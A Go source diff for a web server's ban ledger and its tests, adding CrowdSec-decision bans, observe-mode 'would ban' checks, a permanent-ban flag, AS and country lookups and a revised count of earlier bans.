+// ReputationHit is a reputation source that listed a client, as a
+// reputation_hit alert's detail gives it: Source is the URL of the
+// blocklist or of the CrowdSec decision list, the DNSBL zone with its key
+// masked, or "abuseipdb", and Score, for AbuseIPDB alone, its score of the
+// client.
+type ReputationHit struct {
+	Source string `json:"source"`
+	Score  *int64 `json:"score,omitempty"`
+}
+
 // EarlierBans counts a netblock's bans before a ban, by cause.
 type EarlierBans struct {
 	Limit    int `json:"limit"`
 	Attack   int `json:"attack"`
 	Admin    int `json:"admin"`
+	CrowdSec int `json:"crowdsec"`
 }
 
 // Request is a request in a ban's notes. Each text is cut to 256 bytes.
@@ -194,39 +233,43 @@ func (l *Ledger) Changed() <-chan struct{} {
 // a ban on a netblock client is in is active, and returns that ban, with
 // the request counted among those it refused. A ban for a clear sign of
 // attack is made permanent by the request: the netblock is malicious.
-func (l *Ledger) Check(client netip.Addr, now time.Time) (Ban, bool) {
+// The last result reports whether the request made the ban permanent.
+func (l *Ledger) Check(client netip.Addr, now time.Time) (Ban, bool, bool) {
 	l.mu.Lock()
 	defer l.mu.Unlock()
 
 	ban := l.active(client, now)
 	if ban == nil {
-		return Ban{}, false
+		return Ban{}, false, false
 	}
 
 	ban.Notes.Requests++
 	ban.Notes.Refused++
 
-	if ban.Cause == CauseAttack && !ban.Permanent() {
+	madePermanent := ban.Cause == CauseAttack && !ban.Permanent()
+	if madePermanent {
 		ban.Expires = time.Time{}
 
 		l.markChanged()
 	}
 
-	return *ban, true
+	return *ban, true, madePermanent
 }
 
 // Find is Check without counting the request among those the ban
-// refused: in observe mode a ban refuses nothing.
-func (l *Ledger) Find(client netip.Addr, now time.Time) (Ban, bool) {
+// refused, and without making the ban permanent: in observe mode a ban
+// refuses nothing. The last result reports whether Check would have made
+// the ban permanent.
+func (l *Ledger) Find(client netip.Addr, now time.Time) (Ban, bool, bool) {
 	l.mu.Lock()
 	defer l.mu.Unlock()
 
 	ban := l.active(client, now)
 	if ban == nil {
-		return Ban{}, false
+		return Ban{}, false, false
 	}
 
-	return *ban, true
+	return *ban, true, ban.Cause == CauseAttack && !ban.Permanent()
 }
 
 // activeBan returns the ban in bans, a netblock's bans oldest first, that
@@ -244,28 +287,117 @@ func activeBan(bans []Ban, now time.Time) *Ban {
 }
 
 // BanForLimit bans netblock at now for a broken limit, with notes, and
-// returns the ban. A first ban lasts LimitBanDuration. A ban made within
-// LimitBanRepeatWindow after the netblock's ban that ended last, other
-// than one for a clear sign of attack or a lifted one, lasts repeatFactor
-// times as long as that one. A ban that would be longer than
-// MaxBanDuration is permanent instead. If a ban on netblock is still
+// returns the ban, and true. A first ban lasts LimitBanDuration. A ban
+// made within LimitBanRepeatWindow after the netblock's ban that ended
+// last, other than one for a clear sign of attack or for CrowdSec's
+// decision, or a lifted one, lasts
+// repeatFactor times as long as that one. A ban that would be longer
+// than MaxBanDuration is permanent instead. If a ban on netblock is still
 // active, as when two of its requests break a limit at once, that ban is
-// returned and no other is made. The ledger fills in the notes' Refused
-// and EarlierBans itself, and gives the ban the reason "requests per
-// <Window> over the limit of <Limit>", from the notes.
-func (l *Ledger) BanForLimit(netblock netip.Prefix, now time.Time, notes Notes) Ban {
-	reason := fmt.Sprintf("requests per %s over the limit of %d",
-		notes.Window, notes.Limit)
+// returned with false, and no other is made. The ledger fills in the
+// notes' Refused and EarlierBans itself, and gives the ban the reason
+// "<Kind> per <Window> over the limit of <Limit>", from the notes, such
+// as "requests per minute over the limit of 1000".
+func (l *Ledger) BanForLimit(
+	netblock netip.Prefix, now time.Time, notes Notes,
+) (Ban, bool) {
+	return l.ban(netblock, now, time.Time{}, CauseLimit, limitReason(notes), notes, true)
+}
 
-	return l.ban(netblock, now, CauseLimit, reason, notes)
+// WouldBanForLimit returns what BanForLimit would, without making the ban:
+// what observe mode would have done.
+func (l *Ledger) WouldBanForLimit(
+	netblock netip.Prefix, now time.Time, notes Notes,
+) (Ban, bool) {
+	return l.ban(netblock, now, time.Time{}, CauseLimit, limitReason(notes), notes, false)
 }
 
 // BanForAttack bans netblock at now for a clear sign of attack, with
-// notes, and returns the ban, as BanForLimit does. A first ban lasts
-// AttackBanDuration; once the netblock has had one that was not lifted,
-// the next is permanent. Its reason is "matched the rule <RuleID>".
-func (l *Ledger) BanForAttack(netblock netip.Prefix, now time.Time, notes Notes) Ban {
-	return l.ban(netblock, now, CauseAttack, "matched the rule "+notes.RuleID, notes)
+// notes, and returns the ban, and whether it made it, as BanForLimit
+// does. A first ban lasts AttackBanDuration; once the netblock has had
+// one that was not lifted, the next is permanent. Its reason is "matched
+// the rule <RuleID>", or "asked for the trap path <TrapPath>".
+func (l *Ledger) BanForAttack(
+	netblock netip.Prefix, now time.Time, notes Notes,
+) (Ban, bool) {
+	return l.ban(netblock, now, time.Time{}, CauseAttack, attackReason(notes), notes, true)
+}
+
+// WouldBanForAttack returns what BanForAttack would, without making the
+// ban: what observe mode would have done.
+func (l *Ledger) WouldBanForAttack(
+	netblock netip.Prefix, now time.Time, notes Notes,
+) (Ban, bool) {
+	return l.ban(netblock, now, time.Time{}, CauseAttack, attackReason(notes), notes,
+		false)
+}
+
+// BanForCrowdSec bans netblock at now until expires, when CrowdSec's
+// decision on the client ends, with notes, and returns the ban, and
+// whether it made it, as BanForLimit does. Its reason is "CrowdSec's
+// decision for <scenario>", the scenario that made the decision.
+func (l *Ledger) BanForCrowdSec(
+	netblock netip.Prefix, now, expires time.Time, scenario string, notes Notes,
+) (Ban, bool) {
+	return l.ban(netblock, now, expires, CauseCrowdSec, crowdSecReason(scenario), notes,
+		true)
+}
+
+// WouldBanForCrowdSec returns what BanForCrowdSec would, without making
+// the ban: what observe mode would have done.
+func (l *Ledger) WouldBanForCrowdSec(
+	netblock netip.Prefix, now, expires time.Time, scenario string, notes Notes,
+) (Ban, bool) {
+	return l.ban(netblock, now, expires, CauseCrowdSec, crowdSecReason(scenario), notes,
+		false)
+}
+
+// WouldBePermanent reports whether a ban on netblock for cause, CauseLimit,
+// CauseAttack or CauseCrowdSec, made at now would be permanent, as
+// BanForLimit, BanForAttack or BanForCrowdSec would make it. It works out
+// nothing else of the ban. A ban for CrowdSec's decision is never
+// permanent: it ends with the decision.
+func (l *Ledger) WouldBePermanent(
+	netblock netip.Prefix, now time.Time, cause string,
+) bool {
+	l.mu.Lock()
+	defer l.mu.Unlock()
+
+	var held []Ban
+	if bans, found := l.netblocks.Peek(netblock); found {
+		held = *bans
+	}
+
+	switch cause {
+	case CauseAttack:
+		return l.attackExpiry(held, now).IsZero()
+	case CauseLimit:
+		return l.limitExpiry(held, now).IsZero()
+	default: // CauseCrowdSec
+		return false
+	}
+}
+
+// limitReason is the reason of a ban for a broken limit, with notes.
+func limitReason(notes Notes) string {
+	return fmt.Sprintf("%s per %s over the limit of %d",
+		notes.Kind, notes.Window, notes.Limit)
+}
+
+// attackReason is the reason of a ban for a clear sign of attack, with
+// notes.
+func attackReason(notes Notes) string {
+	if notes.TrapPath != "" {
+		return "asked for the trap path " + notes.TrapPath
+	}
+
+	return "matched the rule " + notes.RuleID
+}
+
+// crowdSecReason is the reason of a ban for CrowdSec's decision, which
+// scenario made.
+func crowdSecReason(scenario string) string {
+	return "CrowdSec's decision for " + scenario
 }
 
 // BanForAdmin bans netblock at now for an admin, with reason, until
@@ -357,6 +489,28 @@ func (l *Ledger) Bans(netblock netip.Prefix) []Ban {
 	return slices.Clone(*bans)
 }
 
+// AddLookup gives the notes of netblock's bans that have no AS number, AS
+// name or country yet those of a client in it, as the lookup answered
+// about it. It is not a request from netblock, and leaves when it was last
+// seen unchanged. It does not have bans.json written at once: the notes
+// are written with its next write, as the counts in them are.
+func (l *Ledger) AddLookup(netblock netip.Prefix, asn, asName, country string) {
+	l.mu.Lock()
+	defer l.mu.Unlock()
+
+	bans, found := l.netblocks.Peek(netblock)
+	if !found {
+		return
+	}
+
+	for i := range *bans {
+		notes := &(*bans)[i].Notes
+		if notes.ASN == "" && notes.ASName == "" && notes.Country == "" {
+			notes.ASN, notes.ASName, notes.Country = asn, asName, country
+		}
+	}
+}
+
 // Made returns how many bans for cause have been made since the start:
 // for CauseLimit and CauseAttack, by the ledger; for CauseAdmin, by an
 // admin, with BanForAdmin or in an edit of bans.json, as LoadEdit counts
@@ -483,10 +637,15 @@ func (l *Ledger) holds(netblock netip.Prefix, start time.Time) bool {
 }
 
 // ban bans netblock at now for cause, with reason and notes, as
-// BanForLimit and BanForAttack describe, and returns the ban.
+// BanForLimit, BanForAttack and BanForCrowdSec describe, and returns the
+// ban, and whether it made it. expires is when a ban for CauseCrowdSec
+// ends, and zero for the others, whose end the ledger works out. Unless
+// keep is true, the ban is not made, only returned: it is the ban that
+// would have been made.
 func (l *Ledger) ban(
-	netblock netip.Prefix, now time.Time, cause, reason string, notes Notes,
-) Ban {
+	netblock netip.Prefix, now, expires time.Time, cause, reason string, notes Notes,
+	keep bool,
+) (Ban, bool) {
 	l.mu.Lock()
 	defer l.mu.Unlock()
 
@@ -497,7 +656,7 @@ func (l *Ledger) ban(
 	if found {
 		active := activeBan(*bans, now)
 		if active != nil {
-			return *active
+			return *active, false
 		}
 
 		held = *bans
@@ -507,38 +666,72 @@ func (l *Ledger) ban(
 	notes.Request = notes.Request.cut()
 	ban := Ban{Netblock: netblock, Start: now, Cause: cause, Reason: reason, Notes: notes}
 
-	if cause == CauseAttack {
+	switch cause {
+	case CauseAttack:
 		ban.Expires = l.attackExpiry(held, now)
-	} else {
+	case CauseLimit:
 		ban.Expires = l.limitExpiry(held, now)
+	default: // CauseCrowdSec
+		ban.Expires = expires
+	}
+
+	if !keep {
+		return ban, true
 	}
 
 	l.add(ban)
 	l.made[cause]++
 	l.markChanged()
 
-	return ban
+	return ban, true
 }
 
 // earlierBans returns how many bans a netblock with the bans held, oldest
-// first, has had, by cause: the first ban held counts the bans the
-// netblock had before that one, since dropped to make room, and each ban
-// held adds one.
+// first, has had, by cause. Each ban held gives a count: the bans its
+// notes count before it, and one for it and each ban held after it. A
+// ban's count misses a ban dropped after it to make room, and that of an
+// admin's ban added to bans.json without notes misses the bans before it,
+// so the count that names the most bans is taken, whole: a ban an admin
+// keeps by giving it CauseAdmin is still counted under its old cause in
+// later bans' notes, and taking each cause from another count would count
+// it twice.
 func earlierBans(held []Ban) EarlierBans {
-	earlier := held[0].Notes.EarlierBans
+	// fromHere counts ban and the bans held after it.
+	var most, fromHere EarlierBans
 
-	for _, ban := range held {
+	for _, ban := range slices.Backward(held) {
 		switch ban.Cause {
 		case CauseLimit:
-			earlier.Limit++
+			fromHere.Limit++
 		case CauseAttack:
-			earlier.Attack++
+			fromHere.Attack++
 		case CauseAdmin:
-			earlier.Admin++
+			fromHere.Admin++
+		case CauseCrowdSec:
+			fromHere.CrowdSec++
+		}
+
+		notes := ban.Notes.EarlierBans
+		count := EarlierBans{
+			Limit:    notes.Limit + fromHere.Limit,
+			Attack:   notes.Attack + fromHere.Attack,
+			Admin:    notes.Admin + fromHere.Admin,
+			CrowdSec: notes.CrowdSec + fromHere.CrowdSec,
+		}
+
+		// Of counts that name as many bans, the earlier ban's is taken: it
+		// counts more of the bans held by the cause they have now.
+		if count.total() >= most.total() {
+			most = count
 		}
 	}
 
-	return earlier
+	return most
+}
+
+// total returns how many bans e counts, of all causes.
+func (e EarlierBans) total() int {
+	return e.Limit + e.Attack + e.Admin + e.CrowdSec
 }
 
 // markChanged has Changed receive a value, unless one is waiting already.
@@ -628,16 +821,16 @@ func (l *Ledger) add(ban Ban) {
 // limitExpiry returns when a ban for a broken limit made at now ends, or
 // zero when it is permanent. held are the netblock's bans, none of them
 // active, of which the one that ended last, other than a ban for a clear
-// sign of attack or a lifted one, can make the new ban longer. A ban an
-// admin adds to bans.json can start after another and end before it, so
-// that one is looked for among them all.
+// sign of attack or for CrowdSec's decision, or a lifted one, can make the
+// new ban longer. A ban an admin adds to bans.json can start after
+// another and end before it, so that one is looked for among them all.
 func (l *Ledger) limitExpiry(held []Ban, now time.Time) time.Time {
 	length := l.rules.LimitBanDuration
 
 	var last *Ban
 
 	for i, ban := range held {
-		if ban.Cause != CauseAttack && ban.Lifted.IsZero() &&
+		if (ban.Cause == CauseLimit || ban.Cause == CauseAdmin) && ban.Lifted.IsZero() &&
 			(last == nil || ban.Expires.After(last.Expires)) {
 			last = &held[i]
 		}

internal/bans/bans_test.go

@@ -2,6 +2,7 @@ package bans_test
 
 import (
 	"net/netip"
+	"reflect"
 	"strings"
 	"testing"
 	"time"
@@ -21,7 +22,7 @@ func TestRepeatsTripleUntilPermanent(t *testing.T) {
 	// Each ban is followed by another as soon as it ends: 1, 3, 9, 27 and
 	// 81 hours.
 	for i, hours := range []int{1, 3, 9, 27, 81} {
-		ban := ledger.BanForLimit(netblock, now, bans.Notes{})
+		ban, _ := ledger.BanForLimit(netblock, now, bans.Notes{})
 
 		length := time.Duration(hours) * time.Hour
 		if !ban.Expires.Equal(now.Add(length)) ||
@@ -35,12 +36,12 @@ func TestRepeatsTripleUntilPermanent(t *testing.T) {
 
 	// The sixth would last 243 hours, more than seven days: it is
 	// permanent, and never ends.
-	ban := ledger.BanForLimit(netblock, now, bans.Notes{})
+	ban, _ := ledger.BanForLimit(netblock, now, bans.Notes{})
 	if !ban.Permanent() {
 		t.Fatalf("sixth ban ends at %s, want a permanent one", ban.Expires)
 	}
 
-	_, banned := ledger.Check(netblock.Addr(), now.Add(100*365*day))
+	_, banned, _ := ledger.Check(netblock.Addr(), now.Add(100*365*day))
 	if !banned {
 		t.Error("a permanent ban ended")
 	}
@@ -64,8 +65,8 @@ func TestRepeatWindowRunsOut(t *testing.T) {
 			ledger := bans.New(defaultRules())
 			netblock := netip.MustParsePrefix("203.0.113.9/32")
 
-			first := ledger.BanForLimit(netblock, midnight(), bans.Notes{})
-			second := ledger.BanForLimit(netblock, first.Expires.Add(tc.gap), bans.Notes{})
+			first, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{})
+			second, _ := ledger.BanForLimit(netblock, first.Expires.Add(tc.gap), bans.Notes{})
 
 			if second.Expires.Sub(second.Start) != tc.want ||
 				second.Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) {
@@ -83,7 +84,7 @@ func TestFirstBanLongerThanTheMaximumIsPermanent(t *testing.T) {
 	rules.LimitBanDuration = rules.MaxBanDuration + time.Hour
 	ledger := bans.New(rules)
 
-	ban := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.9/32"), midnight(),
+	ban, _ := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.9/32"), midnight(),
 		bans.Notes{})
 	if !ban.Permanent() {
 		t.Errorf("first ban ends at %s, want a permanent one", ban.Expires)
@@ -103,7 +104,7 @@ func TestLongestBanSetFarOffDoesNotOverflow(t *testing.T) {
 	now := midnight()
 
 	for i := range 14 {
-		ban := ledger.BanForLimit(netblock, now, bans.Notes{})
+		ban, _ := ledger.BanForLimit(netblock, now, bans.Notes{})
 		if !ban.Expires.After(ban.Start) {
 			t.Fatalf("ban %d starts at %s and ends at %s", i+1, ban.Start, ban.Expires)
 		}
@@ -111,7 +112,7 @@ func TestLongestBanSetFarOffDoesNotOverflow(t *testing.T) {
 		now = ban.Expires
 	}
 
-	ban := ledger.BanForLimit(netblock, now, bans.Notes{})
+	ban, _ := ledger.BanForLimit(netblock, now, bans.Notes{})
 	if !ban.Permanent() {
 		t.Errorf("15th ban ends at %s, want a permanent one", ban.Expires)
 	}
@@ -123,12 +124,22 @@ func TestBrokenLimitDuringABanMakesNoOther(t *testing.T) {
 	ledger := bans.New(defaultRules())
 	netblock := netip.MustParsePrefix("203.0.113.9/32")
 
-	first := ledger.BanForLimit(netblock, midnight(), bans.Notes{})
-	again := ledger.BanForLimit(netblock, midnight().Add(time.Minute), bans.Notes{})
+	first, made := ledger.BanForLimit(netblock, midnight(), bans.Notes{})
+	if !made {
+		t.Error("the first ban was not made")
+	}
 
-	if again != first || len(ledger.Bans(netblock)) != 1 {
-		t.Errorf("a limit broken during a ban gave %+v and %d bans, want %+v and 1",
-			again, len(ledger.Bans(netblock)), first)
+	again, made := ledger.BanForLimit(netblock, midnight().Add(time.Minute), bans.Notes{})
+
+	if made || !reflect.DeepEqual(again, first) || len(ledger.Bans(netblock)) != 1 {
+		t.Errorf("a limit broken during a ban gave %+v, made %t, and %d bans, "+
+			"want %+v, not made, and 1", again, made, len(ledger.Bans(netblock)), first)
+	}
+
+	again, made = ledger.BanForAttack(netblock, midnight().Add(time.Minute), bans.Notes{})
+	if made || !reflect.DeepEqual(again, first) {
+		t.Errorf("an attack during a ban gave %+v, made %t, want %+v, not made",
+			again, made, first)
 	}
 }
 
@@ -137,21 +148,21 @@ func TestCheckRefusesWhileTheBanLastsAndCountsTheRefusals(t *testing.T) {
 
 	ledger := bans.New(defaultRules())
 	netblock := netip.MustParsePrefix("203.0.113.9/32")
-	ban := ledger.BanForLimit(netblock, midnight(), bans.Notes{Requests: 5})
+	ban, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{Requests: 5})
 
 	for range 3 {
-		got, banned := ledger.Check(netblock.Addr(), ban.Expires.Add(-time.Nanosecond))
+		got, banned, _ := ledger.Check(netblock.Addr(), ban.Expires.Add(-time.Nanosecond))
 		if !banned || got.Start != ban.Start {
 			t.Fatalf("check during the ban gives %+v and %t", got, banned)
 		}
 	}
 
-	_, banned := ledger.Check(netip.MustParseAddr("203.0.113.10"), midnight())
+	_, banned, _ := ledger.Check(netip.MustParseAddr("203.0.113.10"), midnight())
 	if banned {
 		t.Error("another netblock is banned")
 	}
 
-	_, banned = ledger.Check(netblock.Addr(), ban.Expires)
+	_, banned, _ = ledger.Check(netblock.Addr(), ban.Expires)
 	if banned {
 		t.Error("the ban did not end")
 	}
@@ -169,19 +180,19 @@ func TestFindCountsNothing(t *testing.T) {
 
 	ledger := bans.New(defaultRules())
 	netblock := netip.MustParsePrefix("203.0.113.9/32")
-	ban := ledger.BanForLimit(netblock, midnight(), bans.Notes{Requests: 5})
+	ban, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{Requests: 5})
 
-	got, banned := ledger.Find(netblock.Addr(), ban.Expires.Add(-time.Nanosecond))
-	if !banned || got != ban {
+	got, banned, _ := ledger.Find(netblock.Addr(), ban.Expires.Add(-time.Nanosecond))
+	if !banned || !reflect.DeepEqual(got, ban) {
 		t.Errorf("find during the ban gives %+v and %t, want %+v", got, banned, ban)
 	}
 
-	_, banned = ledger.Find(netblock.Addr(), ban.Expires)
+	_, banned, _ = ledger.Find(netblock.Addr(), ban.Expires)
 	if banned {
 		t.Error("the ban did not end")
 	}
 
-	if notes := ledger.Bans(netblock)[0].Notes; notes != ban.Notes {
+	if notes := ledger.Bans(netblock)[0].Notes; !reflect.DeepEqual(notes, ban.Notes) {
 		t.Errorf("the notes are %+v, want them unchanged, %+v", notes, ban.Notes)
 	}
 }
@@ -198,7 +209,7 @@ func TestMaxBansDropsTheEarliestBanOfTheNetblockSeenLongestAgo(t *testing.T) {
 	d := netip.MustParsePrefix("2001:db8::/64")
 	now := midnight()
 
-	first := ledger.BanForLimit(a, now, bans.Notes{})
+	first, _ := ledger.BanForLimit(a, now, bans.Notes{})
 	ledger.BanForLimit(b, now, bans.Notes{})
 	ledger.BanForLimit(c, now, bans.Notes{})
 
@@ -233,11 +244,11 @@ func TestFullLedgerDropsTheEarlierBanOfTheNetblockBannedAgain(t *testing.T) {
 	ledger := bans.New(rules)
 	netblock := netip.MustParsePrefix("203.0.113.9/32")
 
-	first := ledger.BanForLimit(netblock, midnight(), bans.Notes{})
-	second := ledger.BanForLimit(netblock, first.Expires, bans.Notes{})
+	first, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{})
+	second, _ := ledger.BanForLimit(netblock, first.Expires, bans.Notes{})
 
 	held := ledger.Bans(netblock)
-	if len(held) != 1 || held[0] != second ||
+	if len(held) != 1 || !reflect.DeepEqual(held[0], second) ||
 		held[0].Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) {
 		t.Errorf("the ledger holds %+v, want only the second ban, "+
 			"with 1 earlier ban for a limit", held)
@@ -251,7 +262,7 @@ func TestRequestDuringAnAttackBanMakesItPermanent(t *testing.T) {
 	netblock := netip.MustParsePrefix("203.0.113.9/32")
 	notes := bans.Notes{RuleID: "env-file", Target: "path"}
 
-	ban := ledger.BanForAttack(netblock, midnight(), notes)
+	ban, _ := ledger.BanForAttack(netblock, midnight(), notes)
 	if !ban.Expires.Equal(midnight().Add(7*day)) || ban.Cause != bans.CauseAttack ||
 		ban.Notes.RuleID != "env-file" || ledger.Made(bans.CauseAttack) != 1 ||
 		ledger.Made(bans.CauseLimit) != 0 {
@@ -262,23 +273,31 @@ func TestRequestDuringAnAttackBanMakesItPermanent(t *testing.T) {
 
 	wantChanged(t, ledger, true)
 
-	// In observe mode the ban refuses nothing, and stays as it is.
-	got, _ := ledger.Find(netblock.Addr(), midnight().Add(time.Hour))
-	if got.Permanent() {
-		t.Fatal("a request found under the ban made it permanent")
+	// In observe mode the ban refuses nothing, and stays as it is, while
+	// Find tells that the request would have made it permanent.
+	got, _, wouldMakePermanent := ledger.Find(netblock.Addr(), midnight().Add(time.Hour))
+	if got.Permanent() || ledger.Bans(netblock)[0].Permanent() || !wouldMakePermanent {
+		t.Fatalf("a request found under the ban left it %+v, would have made it "+
+			"permanent %t, want it as it was, and true", got, wouldMakePermanent)
 	}
 
-	// A request it refuses makes it permanent, and bans.json due.
-	got, _ = ledger.Check(netblock.Addr(), midnight().Add(time.Hour))
-	if !got.Permanent() || !ledger.Bans(netblock)[0].Permanent() {
-		t.Fatalf("after a request during the ban, it is %+v, want it permanent", got)
+	wantChanged(t, ledger, false)
+
+	// A request it refuses makes it permanent, says so, and makes
+	// bans.json due.
+	got, _, madePermanent := ledger.Check(netblock.Addr(), midnight().Add(time.Hour))
+	if !madePermanent || !got.Permanent() || !ledger.Bans(netblock)[0].Permanent() {
+		t.Fatalf("after a request during the ban, it is %+v, made permanent %t, "+
+			"want it made permanent", got, madePermanent)
 	}
 
 	wantChanged(t, ledger, true)
 
-	_, banned := ledger.Check(netblock.Addr(), midnight().Add(100*365*day))
-	if !banned {
-		t.Error("the permanent ban ended")
+	// The next request finds it permanent already.
+	_, banned, madePermanent := ledger.Check(netblock.Addr(), midnight().Add(100*365*day))
+	if !banned || madePermanent {
+		t.Errorf("a later request is banned %t, and made the ban permanent %t, "+
+			"want banned by the permanent ban", banned, madePermanent)
 	}
 }
 
@@ -289,8 +308,8 @@ func TestAttackAfterAnAttackBanHasEndedBansPermanently(t *testing.T) {
 	netblock := netip.MustParsePrefix("203.0.113.9/32")
 
 	// A ban for a broken limit before does not count.
-	first := ledger.BanForLimit(netblock, midnight(), bans.Notes{})
-	second := ledger.BanForAttack(netblock, first.Expires, bans.Notes{})
+	first, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{})
+	second, _ := ledger.BanForAttack(netblock, first.Expires, bans.Notes{})
 
 	if second.Expires.Sub(second.Start) != 7*day {
 		t.Fatalf("the first ban for an attack lasts %s, want 7 days",
@@ -299,14 +318,14 @@ func TestAttackAfterAnAttackBanHasEndedBansPermanently(t *testing.T) {
 
 	// Once that has run out without a request, the netblock is served, and
 	// its next clear sign of attack bans it for good.
-	_, banned := ledger.Check(netblock.Addr(), second.Expires)
+	_, banned, _ := ledger.Check(netblock.Addr(), second.Expires)
 	if banned {
 		t.Fatal("the ban did not end")
 	}
 
 	// Its notes show the earlier ban for an attack that makes it permanent,
 	// beside the one for a limit.
-	third := ledger.BanForAttack(netblock, second.Expires.Add(30*day), bans.Notes{})
+	third, _ := ledger.BanForAttack(netblock, second.Expires.Add(30*day), bans.Notes{})
 	if !third.Permanent() ||
 		third.Notes.EarlierBans != (bans.EarlierBans{Limit: 1, Attack: 1}) {
 		t.Errorf("the next ban for an attack is %+v, want a permanent one, "+
@@ -314,6 +333,84 @@ func TestAttackAfterAnAttackBanHasEndedBansPermanently(t *testing.T) {
 	}
 }
 
+func TestWouldBanGivesTheBanWithoutMakingIt(t *testing.T) {
+	t.Parallel()
+
+	ledger := bans.New(defaultRules())
+	netblock := netip.MustParsePrefix("203.0.113.9/32")
+	first, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{})
+	wantChanged(t, ledger, true)
+
+	// While the first ban lasts, none would be made.
+	during, would := ledger.WouldBanForAttack(netblock, midnight(), bans.Notes{})
+	if would || !reflect.DeepEqual(during, first) {
+		t.Errorf("during the first ban, would ban %t with %+v, want false with %+v",
+			would, during, first)
+	}
+
+	// As it ends, a clear sign of attack would ban for seven days, and a
+	// limit broken again for three hours, but neither is made.
+	limitNotes := bans.Notes{Kind: "requests", Limit: 1, Window: "minute"}
+	attack, wouldAttack := ledger.WouldBanForAttack(netblock, first.Expires,
+		bans.Notes{RuleID: "git-dir"})
+	limit, wouldLimit := ledger.WouldBanForLimit(netblock, first.Expires, limitNotes)
+
+	if !wouldAttack || !attack.Expires.Equal(first.Expires.Add(7*day)) ||
+		attack.Reason != "matched the rule git-dir" || !wouldLimit ||
+		!limit.Expires.Equal(first.Expires.Add(3*time.Hour)) ||
+		limit.Reason != "requests per minute over the limit of 1" {
+		t.Errorf("would ban with %+v and %+v, want seven days for the attack and "+
+			"three hours for the limit", attack, limit)
+	}
+
+	if len(ledger.Bans(netblock)) != 1 || ledger.Made(bans.CauseLimit) != 1 ||
+		ledger.Made(bans.CauseAttack) != 0 {
+		t.Errorf("the ledger holds %+v, want the first ban alone", ledger.Bans(netblock))
+	}
+
+	wantChanged(t, ledger, false)
+
+	// The ban made is the one that would have been.
+	made, _ := ledger.BanForLimit(netblock, first.Expires, limitNotes)
+	if !reflect.DeepEqual(made, limit) {
+		t.Errorf("the ban made is %+v, want %+v", made, limit)
+	}
+}
+
+func TestWouldBePermanentAnswersAsTheBanWouldBeMade(t *testing.T) {
+	t.Parallel()
+
+	ledger := bans.New(defaultRules())
+	netblock := netip.MustParsePrefix("203.0.113.9/32")
+	now := midnight()
+
+	// Five bans for a limit in a row, of 1, 3, 9, 27 and 81 hours, are not
+	// permanent. The sixth, of 243 hours, would be, while a first ban for
+	// an attack would not.
+	for i := range 5 {
+		if ledger.WouldBePermanent(netblock, now, bans.CauseLimit) {
+			t.Fatalf("ban %d for a limit would be permanent", i+1)
+		}
+
+		ban, _ := ledger.BanForLimit(netblock, now, bans.Notes{})
+		now = ban.Expires
+	}
+
+	if !ledger.WouldBePermanent(netblock, now, bans.CauseLimit) {
+		t.Error("the sixth ban for a limit would not be permanent")
+	}
+
+	if ledger.WouldBePermanent(netblock, now, bans.CauseAttack) {
+		t.Error("a first ban for an attack would be permanent")
+	}
+
+	// Once a first ban for an attack has ended, the next would be permanent.
+	attack, _ := ledger.BanForAttack(netblock, now, bans.Notes{})
+	if !ledger.WouldBePermanent(netblock, attack.Expires, bans.CauseAttack) {
+		t.Error("a second ban for an attack would not be permanent")
+	}
+}
+
 func TestAttackBanDoesNotLengthenTheNextBanForALimit(t *testing.T) {
 	t.Parallel()
 
@@ -322,16 +419,16 @@ func TestAttackBanDoesNotLengthenTheNextBanForALimit(t *testing.T) {
 
 	// Three times the seven days would be permanent; a limit broken as the
 	// ban for an attack ends bans for an hour, as a first broken limit does.
-	attack := ledger.BanForAttack(netblock, midnight(), bans.Notes{})
-	limit := ledger.BanForLimit(netblock, attack.Expires, bans.Notes{})
+	attack, _ := ledger.BanForAttack(netblock, midnight(), bans.Notes{})
+	limit, _ := ledger.BanForLimit(netblock, attack.Expires, bans.Notes{})
 
 	if limit.Expires.Sub(limit.Start) != time.Hour || limit.Cause != bans.CauseLimit {
 		t.Errorf("the ban for a limit is %+v, want one of an hour", limit)
 	}
 
 	// And a request during the ban for a limit leaves it as it is.
-	got, _ := ledger.Check(netblock.Addr(), limit.Start)
-	if got.Permanent() {
+	got, _, madePermanent := ledger.Check(netblock.Addr(), limit.Start)
+	if got.Permanent() || madePermanent {
 		t.Error("a request during a ban for a limit made it permanent")
 	}
 }
@@ -346,7 +443,7 @@ func TestRequestTextsAreCutTo256Bytes(t *testing.T) {
 		Time: midnight(), Method: long, Host: long, Path: long, Status: 403, UserAgent: long,
 	}
 
-	ban := ledger.BanForLimit(netblock, midnight(), bans.Notes{Request: request})
+	ban, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{Request: request})
 
 	cut := long[:256]
 	want := bans.Request{
@@ -358,6 +455,45 @@ func TestRequestTextsAreCutTo256Bytes(t *testing.T) {
 	}
 }
 
+func TestLookupFillsTheNotesOfTheNetblocksBansWithoutOne(t *testing.T) {
+	t.Parallel()
+
+	ledger := bans.New(defaultRules())
+	netblock := netip.MustParsePrefix("203.0.113.9/32")
+	other := netip.MustParsePrefix("198.51.100.7/32")
+
+	// A ban made with the client's lookup, one made before it came, after
+	// the first ended, and one on another netblock.
+	ledger.BanForLimit(netblock, midnight(), bans.Notes{
+		ASN: "AS64497", ASName: "Other Net", Country: "FR",
+	})
+	ledger.BanForLimit(netblock, midnight().Add(time.Hour), bans.Notes{})
+	ledger.BanForLimit(other, midnight(), bans.Notes{})
+
+	ledger.AddLookup(netblock, "AS64496", "Example Net", "DE")
+
+	held := ledger.Bans(netblock)
+	if len(held) != 2 {
+		t.Fatalf("%s has %d bans, want 2", netblock, len(held))
+	}
+
+	for i, want := range []bans.Notes{
+		{ASN: "AS64497", ASName: "Other Net", Country: "FR"},
+		{ASN: "AS64496", ASName: "Example Net", Country: "DE"},
+	} {
+		got := held[i].Notes
+		if got.ASN != want.ASN || got.ASName != want.ASName || got.Country != want.Country {
+			t.Errorf("ban %d's notes give %q, %q and %q, want %q, %q and %q", i+1,
+				got.ASN, got.ASName, got.Country, want.ASN, want.ASName, want.Country)
+		}
+	}
+
